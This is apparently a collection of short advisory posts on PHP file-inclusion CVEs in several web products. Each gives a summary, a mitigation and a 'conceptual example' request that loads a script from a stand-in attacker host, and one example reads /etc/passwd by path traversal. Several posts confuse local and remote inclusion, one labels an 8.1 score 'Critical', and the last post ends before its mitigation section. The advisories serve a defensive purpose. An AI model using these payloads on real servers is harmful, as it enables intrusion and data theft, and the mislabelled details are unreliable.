Author: Ameeba

Overview

The cybersecurity world is facing a new challenge with the discovery of the CVE-2025-52808 vulnerability. This particular vulnerability poses a significant threat to RealtyElite, a widely used real estate software, from an unspecified version through to version 1.0.0. The vulnerability lies in the improper control of filename for include/require statement in PHP Program, allowing for PHP Local File Inclusion. The implications of exploitation are severe and could potentially lead to complete system compromise or data leakage, making this an issue of significant concern.

Vulnerability Summary

CVE ID: CVE-2025-52808
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RealtyElite | n/a through 1.0.0

How the Exploit Works

The vulnerability lies in the PHP code where the program does not properly sanitize user input before using it in a file inclusion operation. This can be exploited by a remote attacker to manipulate the filename argument of the include() or require() function calls to point to arbitrary PHP files on the server or remote locations, allowing the attacker to execute arbitrary PHP code and gain control of the system.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is a pseudocode representation of a malicious HTTP request to the vulnerable endpoint:

POST /vulnerable_endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.com/malicious_script.php

In this example, the attacker is instructing the server to include and execute the malicious PHP script hosted on their server. Once the server processes this request, the malicious script is executed, potentially compromising the system or leading to data leakage.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch for RealtyElite as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can be configured to detect and block attempts to exploit this vulnerability, offering a protective barrier while a permanent fix is being prepared.

Overview

This post sheds light on a critical vulnerability, identified as CVE-2025-52729, that has been found in Thembay’s Diza. This vulnerability is related to the improper control of a filename for an Include/Require statement in a PHP program, also known as ‘PHP Remote File Inclusion’. This vulnerability holds a high potential for system compromise or data leakage, making it a significant threat to security professionals, system administrators, and organizations using Thembay’s Diza.

Vulnerability Summary

CVE ID: CVE-2025-52729
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay’s Diza | All versions up to 1.3.9

How the Exploit Works

The exploit takes advantage of the improper control of a filename for an Include/Require statement in a PHP program within Thembay’s Diza. This vulnerability allows an attacker to include a file from a remote server that contains malicious PHP code. When this malicious code is run on the local server, it can lead to a complete system compromise or data leakage.

Conceptual Example Code

An attacker might exploit this vulnerability with a request similar to the following:

GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-site.com

This request would cause the server to fetch and execute the malicious PHP script hosted on the attacker’s server. This could give the attacker the same privileges as the server’s PHP process, potentially leading to a full system compromise.

Mitigation Measures

To mitigate this vulnerability, users are advised to apply the vendor’s patch as soon as it becomes available. Until the patch is released, users can implement a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and prevent the exploitation of this vulnerability. Users should also consider disabling the ability for PHP to include files from remote servers or limit it to trusted sources only.

Overview

CVE-2025-52723 is a significant cybersecurity vulnerability for organizations utilizing the Networker software from codesupplyco. This vulnerability is a significant threat due to its improper handling of filenames for include/require statements in PHP programs. It specifically pertains to the PHP Remote File Inclusion (RFI) vulnerability, which could potentially grant unauthorized access to the system or lead to data leakage. Businesses relying heavily on Networker software should be aware of this vulnerability and take immediate actions to mitigate its potential threats.

Vulnerability Summary

CVE ID: CVE-2025-52723
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Networker | n/a through 1.2.0

How the Exploit Works

The exploit takes advantage of the improper control of filenames for include/require statements in PHP programs within Networker. An attacker could manipulate these statements to inject malicious scripts into the server, leading to unauthorized access and potential data leakage. This vulnerability essentially allows an attacker to include a remote file, usually through a URL passed to the PHP include() or require() function.

Conceptual Example Code

The following pseudocode illustrates how the vulnerability might be exploited:

<?php
// The attacker injects a URL of a malicious script into the include function
$malicious_url = 'http://attacker.com/malicious_script.php';
include($malicious_url);
?>

In this conceptual example, the attacker injects a URL of a malicious script into the include function. This script gets executed on the server, leading to unauthorized access and potential data leakage.

Mitigation Guidance

The most effective way to mitigate the risks associated with CVE-2025-52723 is to apply the vendor-provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to temporarily mitigate the vulnerability by detecting and blocking malicious traffic. Regularly updating and patching your software is crucial to protect your systems against such vulnerabilities.

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities being discovered and exploited regularly. CVE-2025-49886 is one such vulnerability that affects WebGeniusLab’s Zikzag Core, a popular PHP application. This critical flaw, referred to as a PHP Remote File Inclusion vulnerability, exposes the affected systems to potential compromise and data leakage. Its severity underscores the importance of maintaining updated systems and implementing robust cybersecurity measures.

Vulnerability Summary

CVE ID: CVE-2025-49886
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WebGeniusLab Zikzag Core | n/a through 1.4.5

How the Exploit Works

CVE-2025-49886 is a PHP Local File Inclusion (LFI) vulnerability that stems from improper control of filename for Include/Require statement in the PHP program. An attacker can leverage this flaw to include files from external servers, leading to the execution of malicious scripts. The flaw grants the attacker the potential to execute any PHP code of their choice on the vulnerable system, leading to system compromise and possible data leakage.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability:

GET /index.php?page=http://malicious.example.com/malicious_script.txt HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker injects a link to a malicious PHP script (`http://malicious.example.com/malicious_script.txt`) in the `page` parameter. The server processes the request and includes the malicious script from the external server, leading to the execution of the malicious code.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor-provided patch for Zikzag Core as soon as possible. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It’s also recommended to disable the inclusion of remote files in the PHP configuration by setting `allow_url_include` to `Off`.

Overview

The CVE-2025-49416, a critical vulnerability, has been identified in Fastw3b LLC’s FW Gallery, a popular digital media management software. The weakness arises from an improper control of filename for Include/Require Statement in the PHP program, also known as ‘PHP Remote File Inclusion’. This vulnerability, left unpatched, could potentially lead to a system compromise or data leakage. Given the widespread use of FW Gallery in hosting and managing digital media, this vulnerability’s impact is significant and warrants immediate attention from administrators and developers.

Vulnerability Summary

CVE ID: CVE-2025-49416
Severity: High, CVSS score of 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Fastw3b LLC FW Gallery | Through 8.0.0

How the Exploit Works

The vulnerability stems from improper control of a filename that is used in a PHP ‘include’ or ‘require’ statement. An attacker can manipulate the filename to include a file from a remote server, thus leading to PHP Remote File Inclusion. This allows the attacker to execute arbitrary PHP code on the targeted system. The attacker can then leverage this to compromise the system or exfiltrate data.

Conceptual Example Code

A conceptual representation of how the vulnerability might be exploited is shown below:

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker has manipulated the ‘file’ query parameter in the URL to include a PHP file (`malicious.php`) from their own server (`attacker.com`). When this request is processed by the server, the PHP code in `malicious.php` is executed, compromising the system.

Mitigation Measures

Affected users should apply the vendor patch as soon as it is available. As temporary mitigation, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to prevent exploitation of the vulnerability. These systems should be configured to block requests where the ‘file‘ parameter includes a remote URL. Additionally, administrators should monitor system logs for any suspicious activity.

Overview

The PHP Local File Inclusion vulnerability, designated as CVE-2025-30992, is a critical security flaw found in the Thembay Puca software. This vulnerability is of particular concern due to its potential to facilitate unauthorized access to sensitive data or even a complete system compromise. As the bug originates from an improper control of filename for include/require statement in a PHP program, it presents a significant risk to any system running affected versions of Thembay Puca.

Vulnerability Summary

CVE ID: CVE-2025-30992
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay Puca | Up to and including 2.6.33

How the Exploit Works

The PHP Remote File Inclusion vulnerability is a type of vulnerability that allows an attacker to inject a remote file into the server via a PHP script. This is possible due to weak validation of the ‘include’ and ‘require’ statements in the script. When improperly handled, these statements can be manipulated to include files from remote servers, which may contain malicious code.
In the case of CVE-2025-30992, the vulnerability lies within Thembay Puca’s improper control of filename for include/require statement, which could be exploited to include arbitrary local files from the server. This could potentially lead to a full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example demonstrating how an attacker might exploit this vulnerability. This example supposes a malicious actor issuing an HTTP request to a vulnerable endpoint, using a manipulated file path to include a local file:

GET /vulnerable/endpoint?file=../../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker attempts to include the ‘/etc/passwd’ file, a crucial system file that contains user account details. If successful, the attacker would have unauthorized access to sensitive data.
Please note that this is a simplified example for illustrative purposes only. Real-world exploits may involve more complex methods and additional steps to bypass security measures.